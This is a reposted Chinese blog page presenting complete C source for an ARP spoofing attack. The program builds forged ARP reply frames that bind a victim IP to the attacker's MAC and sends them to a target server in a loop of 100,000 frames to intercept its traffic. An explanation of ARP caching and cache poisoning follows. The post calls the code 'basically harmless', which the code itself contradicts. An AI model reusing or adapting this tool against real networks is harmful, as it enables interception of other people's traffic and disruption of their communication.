转贴-------ARP攻击C语言代码

ARP攻击C语言代码

本代码基本不具备危害性,只是通过MAC地址欺骗修改服务器缓冲区信息实现消息拦截。

假设被攻击服务器 IP 地址为 192.168.20.8 ,MAC地址为    00:0C:29:BD:1C:EF

被拦截消息计算机IP地址为    192.168.20.9 

本机MAC 地址为 00:0C:29:AF:FB:D3

 

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<net/if_arp.h>
#include<net/ethernet.h>
#include<sys/types.h>
#include<sys/socket.h>

#define ARP_LEN 30             //ARP帧头字节数

void mac_str( char *mac, char *buf )
{
     sscanf(mac, "%x:%x:%x:%x:%x:%x", buf, buf+1, buf+2, buf+3, buf+4, buf+5);     
}

void ip_str( char *ip, char *buf )
{
     sscanf(ip, "%d.%d.%d.%d", buf, buf+1, buf+2, buf+3);     
}

void encapsulate_frame( char *dest_mac, char *source_mac, unsigned int type, char *buf )
{
     mac_str(dest_mac, buf);
     mac_str(source_mac, buf+6);
     *(short *)(buf+12) = htons(type);
}

void encapsulate_arp( unsigned short ar_op, char *source_mac, char *source_ip, char *dest_mac, char *dest_ip, char *buf )
{
     struct arphdr parp;
     
     parp.ar_hrd = htons(ARPHRD_ETHER);
     parp.ar_pro = htons(ETHERTYPE_IP);
     parp.ar_hln = 6;
     parp.ar_pln = 4;
     parp.ar_op = htons(ar_op);
     memcpy(buf, &parp, sizeof(struct arphdr));
     
     char addr_buf[20];
     
     mac_str(source_mac, addr_buf);
     ip_str(source_ip, addr_buf + 6);
     mac_str(dest_mac, addr_buf + 10);
     ip_str(dest_ip, addr_buf + 16);
     memcpy(buf + sizeof(struct arphdr), addr_buf, 20);     
}

int open_packet_socket( void )
{
    int sock_fd;
    if( (sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_PARP)) ) < 0 )
    {
        perror("Create socket error.\n");
        exit(-1);    
    }
    
    return sock_fd;        
}

 

int main( int argc, char **argv )
{
    char *source_ip = "192.168.20.9";          // 真实 IP 地址 
    char *source_mac = "00:0C:29:AF:FB:D3";    // 欺骗 MAC 地址 
    
    char *dest_ip = "192.168.20.8";
    char *dest_mac = "00:0C:29:BD:1C:EF";
    
    char *buf = (char *)malloc(sizeof(struct ether_header) + ARP_LEN);    
    
    encapsulate_frame(dest_mac, source_mac, ETHERTYPE_ARP, buf);
    encapsulate_arp(ARPOP_REPLY, source_mac, source_ip, dest_mac, dest_ip, buf+sizeof(struct ether_header));
    
    int sock_fd = open_packet_socket();
    int i;
    struct sockaddr to;
    
    bzero( &to, sizeof(struct sockaddr) );
    to.sa_family = AF_INET;
    strcpy(to.sa_data, "eth0");     //通过eth0网卡发送; 
    
    for(i=0; i<100000; i++)
    {
        /* 44为以太网帧头长度加ARP帧头长度 ,sizeof(ether_header) + ARP_LEN */
        
        sendto(sock_fd, buf, 44, 0, &to, sizeof(struct sockaddr));
        usleep(100000);         
    }
    
    printf("Send over.\n");
    
    return 0;
}

 

转载于:https://www.cnblogs.com/lthxk-yl/archive/2013/05/26/3100717.html

现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。 好了在了解了上面基本arp通信过程后,arp欺骗就不那神秘了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200 MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。实例基于WINCAP编写,描述其本源理与流程.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值